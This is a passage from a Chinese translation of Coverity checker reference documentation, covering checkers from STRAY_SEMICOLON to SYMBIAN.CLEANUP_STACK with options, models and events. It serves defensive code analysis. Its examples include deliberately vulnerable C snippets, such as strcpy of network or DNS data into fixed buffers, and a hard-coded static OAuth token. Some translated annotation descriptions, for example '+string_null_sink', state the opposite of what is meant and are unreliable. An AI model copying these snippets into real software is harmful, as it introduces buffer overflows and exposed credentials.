在下面的示例中，针对使用返回静态、未过期的令牌的 `oauth2.StaticTokenSource()` 函数，显示了 `STATIC_API_KEY` 缺陷。

```
```
package main
import (
 "context"
 "golang.org/x/oauth2"
 "net/http"
)

func TokenSource(token string) *http.Client {
 ts := oauth2.StaticTokenSource(// defect here
 &oauth2.Token{
 AccessToken: token,
 },
)
 NoContext := context.TODO()
 tc := oauth2.NewClient(NoContext, ts)

 return tc
}
```

## 4.298. STRAY\_SEMICOLON

质量检查器

#### 4.298.1. 概述

支持的语言：. C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP 和 TypeScript

STRAY\_SEMICOLON 可查找多余的分号改变代码逻辑的情况。如果多余的分号对代码行为没有影响，此检查器不会发出警告。修复此类缺陷通常只需删除多余的分号。

这些缺陷可能产生诸多影响。当 if 语句过早地使用分号终止，本应按条件执行的 then 部分将无条件执行。当分号过早终止了 while 或 for 循环后，该循环可能会无限迭代或无目的迭代，后接无条件执行一次目标循环体。

很多检测手段都区分多余分号和特意添加的分号。对于 if 语句，如果 if 没有 then 和 else 子句，则属于缺陷。此行为唯一例外的情况是，当原本应该提供 then 子句的位置存在扩展为空的 C/C++ 宏时。在这种情况下，将会假设宏无条件扩展为非空语句或扩展为空。

针对循环的规则更加复杂，因为不包含本体的循环很常见。一般来说，仅当 while 或 for 循环后接对于任何目的（除了用作循环的正常本体）来说均不合理的代码块（“复合语句”），才会报告此类循环。

在被用于分析 C# 代码库时，除了在对 C/C++ 和 Java 代码库运行时报告的 if、for 和 while 语句之外，STRAY\_SEMICOLON 还会报告本体为空的 lock 语句。

在被用于分析 PHP 代码库时，该检查器还会报告 ?> 结束标记紧接在会导致后续 HTML 无条件显示（本应按条件显示）的 if 条件之后的情况。

默认启用：STRAY\_SEMICOLON 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.298.2. 示例

本部分提供了一个或多个 STRAY\_SEMICOLON 示例。

##### 4.298.2.1. C/C++

在下面的示例中，if 语句后接了一个多余的分号，这会导致 do\_something\_conditionally() 被无条件调用。

```
if (condition);
 do_something_conditionally();
```

在下面的示例中，while 语句后接了一个多余的分号。后面的代码块仅会无条件执行一次，这可能导致过早从函数中返回：

```
while (condition);
{
 if (other_condition)
 return;
 /* advance the loop */
}
```

在下面的示例中，不报告缺陷，因为虽然 `for` 循环没有本体，但它是自包含并且是特意为之，而且紧接其后的代码块可能看似存在以便为 `local_variable` 创建范围：

```
/* count the elements in list 'head' */
for (count = 0, p = head; p != 0; ++count, p = p->next)
{
 int local_variable
 /* ... */
}
```

在下面的 C/C++ 示例中，定义了 `_NDEBUG` 后，`DPRINT` 扩展为空，这会导致 `if` 语句没有 `then` 子句。不会报告此类情况，因为 `DPRINT` 宏出现在原本应该提供 `then` 子句的位置，并且假设扩展为空的任何宏在某些配置中会扩展为其他内容：

```
#ifndef _NDEBUG
#define DPRINT(x...) fprintf(stderr, x)
#else
#define DPRINT(x...)
#endif

if (condition)
 DPRINT("condition is true\n");
```

#### 4.298.2.2. C#

在下面的 C# 示例中，“糟糕”方法示例中的字段 `x` 不受 `lock(myLock)` 的保护。因此，如果有两个线程尝试同时执行其中一个方法，`lock(myLock)` 不会阻止它们同时进入关键区。此类条件可能导致方法擦除对方的工作，根据过时或不一致的数据执行任务，或者出现错误行为。排查此类问题的根本原因很困难，因为这些问题只在两个线程同时执行其中一个方法时发生。“良好”方法示例说明了与“糟糕”方法类似的 `lock` 语句的正确用法。

```
public class Test {
 object myLock;
 public int x;
 public void bad1() {
 lock(myLock); { //A STRAY_SEMICOLON defect here.
 x++;
 }
 }

 public void good1() {
 lock(myLock) { //No STRAY_SEMICOLON defect here.
 x++;
 }
 }

 public void bad2() {
 lock(myLock); //A STRAY_SEMICOLON defect here.
 }
}
```

```
 }
 }

public void good2() {
 lock(myLock) //No STRAY_SEMICOLON defect here.
 {
 x++;
 }
}

public void bad3() {
 lock(myLock); //A STRAY_SEMICOLON defect here.
 x++;
}

public void good3() {
 lock(myLock) //No STRAY_SEMICOLON defect here.
 x++;
}
}
```

#### 4.298.2.3. JavaScript

```
function stray_semicolon(x) {
 for (var i = 0; i < x; i++); { // STRAY_SEMICOLON here
 something(i);
 }
}
```

#### 4.298.2.4. PHP

```
function test($x) {
 if ($x); { // STRAY_SEMICOLON here
 ++$x;
 }
}
```

下面的示例显示了条件 HTML PHP 缺陷。

```
...
{ if (cond()) ?>Bye<?php } // STRAY_SEMICOLON here
...
```

#### 4.298.3. 事件

本部分描述了 STRAY\_SEMICOLON 检查器生成的一个或多个事件。

- **stray\_semicolon** - 位于接下来的语句结尾处的分号可能是多余的。

### 4.299. STREAM\_FORMAT\_STATE

质量检查器

#### 4.299.1. 概述

支持的语言： C++

STREAM\_FORMAT\_STATE 可查找 ostream 对象的格式化状态被修改但未恢复的很多情况。这可能在函数返回后对该数据流的格式化输出产生非正常影响。

标准 C++ iostream 库使用数据流提供输入和输出功能。它包括格式化输出功能，因此可以将各种类型的数据转换为用于输出的字符串。例如：

```
cout << i;
```

默认情况下，将 i 整数转换为使用十进制数字的字符串，并将这些数字写入到 cout 中。

使用 iostream 库的常见错误是修改了格式化状态但忘记将其恢复。在修改全局数据流（例如 cout）或作为参数传递的数据流的格式化状态后，该数据流以后的用户会意外地让潜在的状态更改影响到格式化操作。这违反了数据流用户的预期模块度。

您可以使用方法或操控器更改 ostream 对象的格式化状态。STREAM\_FORMAT\_STATE 可处理 flags、setf、unsetf、precision 和 fill 方法以及所有标准操控器（例如 std::hex）。



##### Note

不包括 width 方法，因为该方法被使用它的运算重置。

默认启用： STREAM\_FORMAT\_STATE 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

#### 4.299.2. 示例

本部分提供了一个或多个 STREAM\_FORMAT\_STATE 示例。

在下面的示例中，i 被转换为十六进制字符串但未被恢复：

```
void oops1(int i)
{
 cout << hex << i;
}
```

您可以通过如下方式修复此缺陷：

```
void corrected1(int i)
{
 cout << hex << i << dec;
}
```

在下面的示例中，f 的精度被更改但未被恢复：

```
void oops2(ostream &os, float f)
```

```
{
 os << setprecision(2) << f;
}
```

#### 4.299.3. 选项

本部分描述了一个或多个 `STREAM_FORMAT_STATE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `STREAM_FORMAT_STATE:report_suspicious_setf_args:<boolean>` - 当此 C++ 选项为 `true` 时，该检查器将报告它无法正确解译传递给 `setf` 的掩码，因而不能确定代码是否正确的情况。正确处理 `setf` ( 和 `unsetf` ) 需要了解在参数掩码中设置了什么位。默认值为 `STREAM_FORMAT_STATE:report_suspicious_setf_args:false`
- `STREAM_FORMAT_STATE:saver_class_regex:<regex>` - 此 C++ 选项指定与类名称匹配的正则表达式。对于作为相应类 ( 简单标识符 [没有限定符] 与此正则表达式相匹配 [包括子字符串匹配] ) 构造函数第一个参数传递的数据流，该检查器不会报告该数据流的任何未保存设置。此选项旨在处理将格式化标记保存在堆栈分配的对象中，而该对象在其析构函数中恢复这些标记的情况。默认值为 `STREAM_FORMAT_STATE:saver_class_regex:saver$`

#### 4.299.4. 事件

本部分描述了 `STREAM_FORMAT_STATE` 检查器生成的一个或多个事件。

- `format_changed` - 第一次 ( 或自上次调用标记以来 ) 沿着此路径更改了格式类别。
- `format_restored` - 第二次更改了格式类别。这可能出现在针对另一个类别未被恢复的数据流的报告中。
- `end_of_path` - 已到达路径结尾，并且类别只被修改了一次。
- `suspicious_setf_mask` - 通过无法识别的掩码值调用了 `setf` 或 `unsetf`。

### 4.300. STRICT\_TRANSPORT\_SECURITY

安全检查器

#### 4.300.1. 概述

支持的语言：. Ruby

`STRICT_TRANSPORT_SECURITY` 确定何时未将 Web 应用程序配置为发送 Strict-Transport-Security 头文件 (HSTS)。此头文件确保所有后续连接都被强制使用 TLS。

如果未设置 HSTS 头文件，则中间人攻击可能会将连接降级为纯 HTTP 并拦截流量。

默认启用：`STRICT_TRANSPORT_SECURITY` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.300.2. 示例

本部分提供了一个或多个 `STRICT_TRANSPORT_SECURITY` 示例。

在 Ruby on Rails 中，您可以在应用程序配置中启用或禁用 Strict-Transport-Security 头文件。

在下面的示例中，如果禁用或者未设置 `config.force_ssl` 选项，将显示 `STRICT_TRANSPORT_SECURITY` 缺陷：

```
Rails.application.configure do
 config.force_ssl = false
end
```



#### Note

Ruby on Rails 中的 `config.force_ssl` 选项启用以下各项：

- 将所有 HTTP 请求重定向到 HTTPS
- 所有响应都将包含 Strict-Transport-Security 头文件 (HSTS)
- 所有 cookie 都将拥有 `secure` 标志

## 4.301. STRING\_NULL

质量、安全检查器

### 4.301.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`STRING_NULL` 可查找通过不安全的方式使用非以 null 终止的字符串（例如包含在网络数据包中的字符串）的很多情况。

由于它们是指向内存中字符块的指针，因此字符串参数必须以 null 终止，函数才能对其进行处理。如果非以 null 终止的字符串被传递给诸如 `strlen()` 等函数，可能导致循环或溢出缺陷。

默认禁用：`STRING_NULL` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

安全检查器启用：要与其他安全检查器一起启用 `STRING_NULL`，请在 `cov-analyze` 命令中使用 `--security` 选项。

### 4.301.2. 示例

本部分提供了一个或多个 `STRING_NULL` 示例。

此示例会报告缺陷，因为 `name` 字符串非以 null 终止，并被传递给 `process_filename()`（它会搜索 `name` 直至找到 null 终止符）。如果 `name` 缺少 null 终止符，`process_filename()` 可能会损坏内存。

```
char *string_null_example() {
 char name[1024];
 char *extension;

 string_from_net(fd, 1023, name); // read from net, no null-termination
 if (x[0] != SOME_CHAR) {
 extension = process_filename(name); // process until '\0' found
 }
}
```

针对此类缺陷的快速修复办法是在从字符串 null 源（例如 `string_from_net()`）中读入了字符串后，并在将其传递给字符串 null 数据消费者（例如 `process_filename()`）之前以 null 终止这些字符串。

#### 4.301.3. 模型和注解

下面的原语对于可帮助 STRING\_NULL 分析的自定义模型很有用。

此模型表明 `custom_network_read()` 将返回非以 null 终止的字符数组。

```
char *custom_network_read() {
 return __coverity_string_null_return__();
}
```

此模型表明 `custom_packet_read()` 会将参数 `s` 赋值给可能非以 null 终止的字符数组。

```
void custom_packet_read(char *s) {
 __coverity_string_null_argument__(s);
}
```

此模型表明必须保护 `custom_string_replace()` 防止非以 null 终止的字符串。

```
void custom_string_replace(char *s, char c, char x) {
 __coverity_string_null_sink__(s);
}
```

此模型表明在将 `custom_varargs()`'s 参数 2 及以后的参数传递给 `custom_vararg()` 之前应该对其进行长度检查。

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_null_sink_vararg__(2);
}
```

函数注解可以通过以下标记在注释中指明，而不是直接在代码中调用 `__coverity` 函数：

- `+string_null_return`：指明函数可能返回非以 null 终止的字符数组。例如，下面的代码指明 `custom_network_read()` 函数返回了非以 null 终止的字符数组：

```
// coverity[+string_null_return]
char* custom_network_read() {...}
```

- `+string_null_argument` : 指明函数可以将参数赋值给非以 null 终止的字符数组。例如，下面的代码指明 `custom_packet_read()` 函数将非以 null 终止的字符数组赋值给其 `s` 参数：

```
// coverity[+string_null_argument : arg-0]
size_t custom_packet_read(char* s) { ... }
```

- `+string_null_sink` : 指明函数需要非以 null 终止的字符串作为参数。例如，下面的代码指明 `custom_string_replace()` 函数需要非以 null 终止的 `s` 字符串参数：

```
// coverity[+string_null_sink : arg-0]
void custom_string_replace(char* s) { ... }
```

您可以创建不包含原语的模型以覆盖推断的模型，并移除使用方式不正确的非终止字符串。您可以使用 `//coverity` 注解抑制各个缺陷。

`STRING_NULL` 可以推断三种不同类型的错误全局信息：

1. 从函数返回的字符串可能非以 null 终止。
2. 函数可能使用非以 null 终止的字符串填充了参数。
3. 将可能非以 null 终止的字符串传递给了危险的字符串 null 数据消费者。

例如，假设不正确地分析了函数 `next_string(char *s)`，并且 Coverity 假设它将非以 null 终止的字符串存储到了参数 `s` 中。实际上，您知道参数始终以 null 终止，因此不应将 `next_string()` 视为字符串 null 源。您可以向库中添加以下模型以便抑制此类误报：

```
size_t next_string(char *s) {
 size_t size_s;
 return size_s;
}
```

此模型向分析表明该函数不是字符串 null 源。

您可以使用以下注解标记指明要忽略哪些函数模型：

- `-string_null_return` : 指明函数不返回非以 null 终止的字符数组。例如，下面的代码指明 `custom_network_read()` 函数不返回非以 null 终止的字符数组：

```
// coverity[-string_null_return]
char* custom_network_read() { ... }
```

- `-string_null_argument` : 指明函数不能将参数赋值给非以 null 终止的字符数组。例如，下面的代码指明 `custom_packet_read()` 函数不将非以 null 终止的字符数组赋值给其 `s` 参数：

```
// coverity[-string_null_argument : arg-0]
size_t custom_packet_read(char* s) { ... }
```

- `-string_null_sink` : 指明函数不需要以 null 终止的字符串作为参数。例如，下面的代码指明 `custom_string_replace()` 函数不需要以 null 终止的 `s` 字符串参数：

```
// coverity[-string_null_sink : arg-0]
void custom_string_replace(char* s) { ... }
```

#### 4.301.4. 事件

本部分描述了 STRING\_NULL 检查器生成的一个或多个事件。

- string\_null\_return：函数可能返回了非以 null 终止的字符串。
- string\_null\_argument：函数可能将参数设置为了非以 null 终止的字符串。
- tainted\_data\_transitive：基于参数的被污染状态，函数将传递污染指定接口（参数或返回值）。
- string\_null：将可能非以 null 终止的字符串传递给了字符串 null 池，或者将非以 null 终止的字符串用于了可查找终止 null 字符的 for/while 循环的条件。

### 4.302. STRING\_OVERFLOW

质量、安全检查器

#### 4.302.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

STRING\_OVERFLOW 可查找字符串处理函数（例如 strcpy）可能越过已分配数组界限写入的很多情况。它根据字符串处理函数的调用位置上所涉及数组的大小确定此类情况。如果发现源字符串大于目标字符串的缓冲区复制函数，该检查器会报告缺陷。它会针对所有其他可能的字符串溢出发出警告。

字符串溢出是导致 C/C++ 内存损坏和安全漏洞的主要原因之一。当位于字符串缓冲区边界之外的内存被无意中重写时，就会发生内存损坏。缓冲区越界访问很常见，因为 C 和 C++ 等语言本质上是不安全的：它们的字符串处理程序不会自动执行边界检查，而是将这项任务留给程序员执行。

STRING\_OVERFLOW 会分析对以下函数的调用：

- strcpy、strcat
- wcscpy、wcscat
- StrCopy、StrCopyA、StrCopyW、StrCat、StrCatA、StrCatW
- OemToChar、OemToCharA、OemToCharW、OemToAnsi、OemToAnsiA、OemToAnsiW
- \_mbscpy、\_mbscat、\_tcscat、\_tcscpy
- lstrcpy、lstrcpyA、lstrcpyW、
- lstrcat、lstrcatA、lstrcatW

默认禁用：STRING\_OVERFLOW 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用：要与其他安全检查器一起启用 STRING\_OVERFLOW，请在 cov-analyze 命令中使用 --security 选项。

#### 4.302.2. 示例

本部分提供了一个或多个 STRING\_OVERFLOW 示例。

下面的示例标记了一个缺陷，因为对于 strcpy() 调用，源字符串大于目标字符串。

```
void string_overflow_example() {
 char destination_buffer[256];
 char source_buffer[1024];
 ...
 strcpy(destination_buffer, source_buffer);
}
```

#### 4.302.3. 选项

本部分描述了一个或多个 STRING\_OVERFLOW 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- STRING\_OVERFLOW:report\_fixed\_size\_dest:<boolean> - 当此选项为 true 时，如果目标长度已知但源长度未知（例如指针），该检查器将会报告缺陷。这些是潜在的溢出，因为源可能任意大，并且应该在传递给复制程序之前执行长度检查。当此选项被设置为 false 时，它不会报告缺陷，除非源长度和目标长度都已知。默认值为 STRING\_OVERFLOW:report\_fixed\_size\_dest:true

#### 4.302.4. 事件

本部分描述了 STRING\_OVERFLOW 检查器生成的一个或多个事件。

- string\_overflow - 调用了可能导致溢出的字符串函数。
- parameter\_as\_source - 源参数是当前函数的参数。

### 4.303. STRING\_SIZE

质量、安全检查器

#### 4.303.1. 概述

支持的语言：C、C++、Objective-C、Objective-C++

STRING\_SIZE 可查找字符串处理函数（例如 strcpy）可能越过已分配数组界限写入的情况。它通过从字符串的被污染源开始，经过任意可能会净化它的长度检查程序，到不检查长度本身的受信任数据消费者跟踪字符串来确定此类情况。与 STRING\_OVERFLOW（也可查找涉及字符串的数组越界访问）不同，STRING\_SIZE 跟踪从源到数据消费者的全局数据流路径，而不是依赖可从字符串处理调用位置本地获取的信息。STRING\_SIZE 缺陷可能导致缓冲区溢出、内存损坏以及程序崩溃。

要修复此缺陷，您应该在将任意长度的字符串复制到固定大小的缓冲区中之前对其进行长度检查，或者使用安全的复制函数（例如：`strncpy()`，而不是`strcpy()`）。

默认禁用：`STRING_SIZE` 默认禁用。要启用它，您可以在`cov-analyze`命令中使用`--enable`选项。

安全检查器启用：要与其他安全检查器一起启用`STRING_SIZE`，请在`cov-analyze`命令中使用`--security`选项。

#### 4.303.2. 示例

本部分提供了一个或多个`STRING_SIZE`示例。

在下面的示例中，如果`gethostbyaddr()`返回了不可靠的DNS结果，则`he->h_name`字段可以是任意长度。必须执行长度检查以确保能够将其放到`addr`缓冲区中。

```
char *string_size_example() {
 static char addr[100];
 struct hostent *he;
 he = gethostbyaddr(address, len, type);
 strcpy(addr, he->h_name);
 return addr;
}
```

#### 4.303.3. 模型和注解

您可以使用 Coverity Analysis 原语为`STRING_SIZE`创建自定义模型。

以下模型表明`custom_string_return()`返回了任意大小的字符串，必须在通过可能带来危险的方式使用之前进行净化：

```
string custom_string_return() {
 return __coverity_string_size_return__();
}
```

下面的模型表明`custom_string_length()`正确地净化了`s`的长度：

```
size_t custom_string_length(const char *s) {
 size_t len;
 __coverity_string_size_sanitize__(s);
 return len;
}
```

下面的模型表明`custom_string_process()`是基于参数`s`大小的字符串数据消费者，必须对其进行保护以防止任意大的字符串：

```
void *custom_string_process(const char *s) {
 __coverity_string_size_sink__(s);
}
```

下面的模型表明`custom_varargs()`'s参数2及以后的参数应该在调用`custom_vararg()`之前进行净化：

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_size_sink_vararg__(2);
}
```

请勿使用调用 `__coverity` 函数的库模型，您可以通过以下标记在源代码注释中使用函数注解：

- `+string_size_return`：指明函数返回了任意大小的字符串。例如，下面的代码指明 `custom_string_return()` 函数返回了任意大小的字符串：

```
// coverity[+string_size_return]
char* custom_string_return() {...}
```

- `+string_size_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_string_length()` 函数净化了 `s`：

```
// coverity[+string_size_sanitize : arg-0]
size_t custom_string_length(char* s) {...}
```

- `+string_size_sink`：指明函数需要长度被净化为参数的字符串。例如，下面的代码指明 `custom_string_process()` 函数需要净化了长度的 `s` 字符串参数：

```
// coverity[+string_size_sink : arg-0]
void *custom_string_process(char* s) {...}
```

您可以创建不包含 Coverity Analysis 原语的模型以重写推断的模型。您可以使用 `//coverity` 注解抑制各个缺陷。

`STRING_SIZE` 可以推断三种不同类型错误全局信息：

- 从函数返回的字符串可以是任意大小。
- 函数成功净化了指定字符串。
- 将可能很大的字符串传递给了危险的字符串大小数据消费者。

例如，假设 Coverity Analysis 错误分析了函数 `process_string(char *s)`，并且假设它的第一个参数最终被传递给了字符串大小数据消费者（例如 `strcpy()`）。如果实际上只通过安全的方式使用了该参数，则不应将 `process_string()` 视为字符串大小数据消费者。要消除此类误报，您可以向库中添加以下模型：

```
size_t process_string(char *s) {
 size_t size_s;
 return size_s;
}
```

此模型表明不应将该函数视为字符串大小数据消费者。

您可以使用函数注解忽略带有以下标记的函数模型：

- `-string_size_return` : 指明函数没有返回任意大小的字符串。例如，下面的代码指明 `custom_string_return()` 函数没有返回任意大小的字符串：

```
// coverity[-string_size_return]
char* custom_string_return() { ... }
```

- `-string_size_sanitize` : 指明函数没有净化字符串参数的长度。例如，下面的代码指明 `custom_string_length()` 函数没有净化其 `s` 字符串参数的长度：

```
// coverity[-string_size_sanitize : arg-0]
size_t custom_string_length(char* s) { ... }
```

- `-string_size_sink` : 指明函数需要长度未被净化为参数的字符串。例如，下面的代码指明 `custom_string_process()` 函数不需要净化了长度的 `s` 字符串参数：

```
// coverity[-string_size_sink : arg-0]
void *custom_string_process(char* s) { ... }
```

#### 4.303.4. 事件

本部分描述了 `STRING_SIZE` 检查器生成的一个或多个事件。

- `string_size_return` - 函数可能将任意大的字符串返回到了当前调用位置。
- `string_size` - 将可能任意大的字符串传递给了字符串大小数据消费者。

### 4.304. SUPPRESSED\_ERROR

安全性

#### 4.304.1. 概述

支持的语言：. Go

`SUPPRESSED_ERROR` 检查器查找函数返回的错误未被显式检查的情况，如果完全忽略该错误或指定了下划线“\_”，则可能会发生这种情况。忽略错误情况可能会使攻击者悄悄地引入意外行为。`SUPPRESSED_ERROR` 检查器不标记始终在调试模式下使用的 `fmt.Println()`、`fmt.Printf()`、`fmt.Println()` 和 `Debug()` 函数的情况。

`SUPPRESSED_ERROR` 检查器默认启用。

#### 4.304.2. 示例

本部分提供了一个或多个 `SUPPRESSED_ERROR` 示例。

在下面的示例中，针对将函数返回的错误分配给下划线 `_` 显示了 `SUPPRESSED_ERROR` 缺陷。

```

package main

import (
 "encoding/json"
 "fmt"
)

type Profile struct {
 Firstname string `json:"firstname"`
 Lastname string `json:"lastname"`
 Website string `json:"website"`
}

func jsonEncoding() {
 nraboy := Profile{
 Firstname: "Nic",
 Lastname: "Raboy",
 Website: "thepolyglotdeveloper.com",
 }
 data, _ := json.Marshal(nraboy) // defect here
 fmt.Println(string(data))
}

```

## 4.305. SWAPPED\_ARGUMENTS

质量检查器

### 4.305.1. 概述

支持的语言：. C、C++、C#、Java、Objective-C、Objective-C++ 和 Visual Basic

**SWAPPED\_ARGUMENTS** 查找按照错误顺序提供函数参数的很多情况。该检查器会通过将调用参数与函数定义中的参数的名称比较，尝试确定正确的顺序。

在 Java、C# 和 Visual Basic 中，如果存在调试信息并且其中包括参数名称，该检查器只能针对字节码中实现的函数调用报告缺陷。

默认启用：**SWAPPED\_ARGUMENTS** 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.305.2. 示例

本部分提供了一个或多个 **SWAPPED\_ARGUMENTS** 示例。

#### 4.305.2.1. C/C++

下面的示例显示了由于程序员假设会首先显示目标参数导致的缺陷。

```
void copy(int srcId, int dstId) { /* ... */ }
```

```
void test() {
 int srcId = 1;
 int dstId = 2;
 copy(dstId, srcId); /* Defect: arguments are swapped. */
}
```

#### 4.305.2.2. C# 和 Java

在此示例中，由于目标和源参数已交换，因此在调用拷贝时会报告缺陷。

```
class SwArguments {
 void copy(object src, object dest) {
 }
 void bug() {
 object src = null;
 object dest = null;
 copy(dest, src); /* Defect: arguments are swapped. */
 }
}
```

#### 4.305.2.3. Visual Basic

在此示例中，由于目标和源参数已交换，因此在调用拷贝时会报告缺陷。

```
Class SwappedArguments
 Private Sub Copy(src As Object, dest As Object)
 End Sub

 Private Sub Example()
 Dim src As Object = Nothing
 Dim dest As Object = Nothing
 Copy(dest, src) ' The source and destination are swapped.
 End Sub
End Class
```

#### 4.305.3. 选项

本部分描述了一个或多个 SWAPPED\_ARGUMENTS 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- SWAPPED\_ARGUMENTS:callee\_name\_has:<regular\_expression> - 对于此选项，如果正则表达式与被调用方的简单函数名称（不包括类名称、数据包名称和命名空间名称）匹配，则该检查器不会报告缺陷。默认值为 SWAPPED\_ARGUMENTS:callee\_name\_has:[eE]qual
- SWAPPED\_ARGUMENTS:caller\_name\_has:<regular\_expression> - 对于此选项，如果正则表达式与调用方的简单函数名称或简单类名称（在报告缺陷的情况下；不包括数据包名称和命名空间名称）匹配，则该检查器不会报告缺陷。默认值为 SWAPPED\_ARGUMENTS:caller\_name\_has:verse|vert|[ss]wap|[uU]ndo|[eE]xchange|[rR]otate|[tT]rans

#### 4.305.4. 模型

由于 `SWAPPED_ARGUMENTS` 使用模型来识别被调用方的参数名称，因此模型中参数的已声明名称对于报告 `SWAPPED_ARGUMENTS` 缺陷至关重要。因此，Coverity 建议您在编写模型时使用规范的参数名称，例如您想要在源代码中为您的应用程序声明和实现的参数名称。如果您选择提供位置参数名称（例如 `arg0`、`arg1` 等），该检查器将会忽略它们，进而抑制报告任何调用方中的 `SWAPPED_ARGUMENTS` 缺陷。在用户模型中使用规范的参数名称或位置参数名称会减少由于字节码中令人混淆的参数名称导致的误报缺陷报告。

#### 4.305.5. 事件

本部分描述了 `SWAPPED_ARGUMENTS` 检查器生成的一个或多个事件。

- `swapped_arguments` - 函数调用的参数顺序有误。

### 4.306. SYMBIAN.CLEANUP\_STACK

质量检查器

#### 4.306.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

已废弃：SYMBIAN.CLEANUP\_STACK 自版本 8.7 起已废弃，并将在未来版本中移除。此检查器可查找违反 Symbian 操作系统“清理堆栈”的内存分配约定的很多情况。

Symbian 操作系统对报告和处理错误具有特殊的异常相关机制。此机制的中心是用于放置现存未解决义务的全局清理堆栈。当发生错误（称为 `leave`）时，这些义务会得到处理，因而可以避免内存泄漏。与此堆栈交互可能容易出错，而 SYMBIAN.CLEANUP\_STACK 可报告很多此类错误。SYMBIAN.CLEANUP\_STACK 可检查每当调用 `leave` 时，每个已分配的对象是否位于清理堆栈或是否是某个数据结构指向的目标。否则，当调用 `leave` 时，不在堆栈中或数据结构中的对象会被泄漏。

此外，该检查器还可检查以下情况：

- 对象超出范围或没有更多指针指向它们时，相应用对象既未被释放，也没有位于清理堆栈中。
- 对象被显式释放的次数不超过一次。
- 没有对象在堆栈中显示的次数超过一次。
- 即使已经被释放，对象仍位于清理堆栈中，导致潜在的双重释放。
- 函数总是通过堆栈中的一系列零元素退出，或者函数的一个元素以 `LC` 结尾。

请参阅Section 4.307，“SYMBIAN.NAMING”，了解关于其他 Symbian 缺陷的更多信息。

默认禁用：SYMBIAN.CLEANUP\_STACK 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Symbian 检查器启用：要与其他 Symbian 检查器一起启用 SYMBIAN.CLEANUP\_STACK，请使用 --symbian 选项。

#### 4.306.2. 示例

本部分提供了一个或多个 SYMBIAN.CLEANUP\_STACK 示例。

下面的示例中显示了三个缺陷。

在函数 test1 中，当函数 leaverL 可能离开执行时，对象 a1 不在清理堆栈中。

在函数 test2 中，会报告缺陷，因为对象 a2 被推送到清理堆栈中两次，一次是在 newLC 中，一次是在 test2 中。

在函数 test3 中，会报告缺陷，因为对象 a3 在仍位于清理堆栈中时被释放，这会导致潜在的双重释放。

```
struct A : public CBase {
 int a;
 int *b;

 static A* newLC();
}

TInt func();

void leaverL() {
 User::LeaveIfError(func());
}

A* A::newLC() {
 A *a = new (ELeave) A;
 CleanupStack::PushL(a);
 return a;
}

void test1() {
 A *a1 = new (ELeave) A;

 leaverL(); /* Defect: a1 not on cleanup stack
 when leaving function called */
}

void test2() {
 // Allocate and push object onto cleanup stack
 A *a2 = A::newLC();

 CleanupStack::PushL(a2) // Defect: a2 pushed onto cleanup stack twice
}

void test3() {
 // Allocate and push object onto cleanup stack
```

```

A *a3 = A::newLC();

delete a3; // Defect: a3 freed but still on cleanup stack (double free)
}

```

#### 4.306.3. 选项

本部分描述了一个或多个 SYMBIAN.CLEANUP\_STACK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- SYMBIAN.CLEANUP\_STACK:aliases\_as\_free:<boolean> - 当此选项为 true 时，该检查器会将为已分配的内存指定别名视为潜在的释放，然后将在内存被显式释放时报告双重释放。此选项的误报率较高。默认值为 SYMBIAN.CLEANUP\_STACK:aliases\_as\_free:false (仅适用于 C++ 和 Objective-C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- SYMBIAN.CLEANUP\_STACK:bad\_pop:<boolean> - 当此选项为 true 时，该检查器将检查 Pop 或 PopAndDestroy 函数的参数是否与清理堆栈中弹出的元素匹配。默认值为 SYMBIAN.CLEANUP\_STACK:bad\_pop:false (仅适用于 C++ 和 Objective-C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

- SYMBIAN.CLEANUP\_STACK:infer\_allocs:<boolean> - 当此选项为 true 时，该检查器将在发现尚未找到分配位置的内存被推送到清理堆栈时推断分配。默认值为 false，这意味着它不会报告非推送至清理堆栈的情况。默认值为 SYMBIAN.CLEANUP\_STACK:infer\_allocs:false (仅适用于 C++ 和 Objective-C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

- SYMBIAN.CLEANUP\_STACK:multiple\_pushes:<boolean> - 当此选项为 true 时，该检查器将会报告函数将多个内存分配推送到清理堆栈的情况。这会违反只允许函数将最多一个内存分配推送到清理堆栈的规则。默认值为 SYMBIAN.CLEANUP\_STACK:multiple\_pushes:false (仅适用于 C++ 和 Objective-C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

#### 4.306.4. 事件

本部分描述了 SYMBIAN.CLEANUP\_STACK 检查器生成的一个或多个事件。

- alias - 通过将指针存储到数据结构中为对象指定了别名。
- alloc\_fn - 分配函数。

- `alloc_push_fn` - 分配函数将已分配的内存推送到全局清理堆栈中。
- `assign` - 指针被赋予来自分配内存的函数的返回值或来自另一个指针的值。
- `bad_pop_arg` - 弹出函数的参数与从清理堆栈中弹出的参数不匹配。
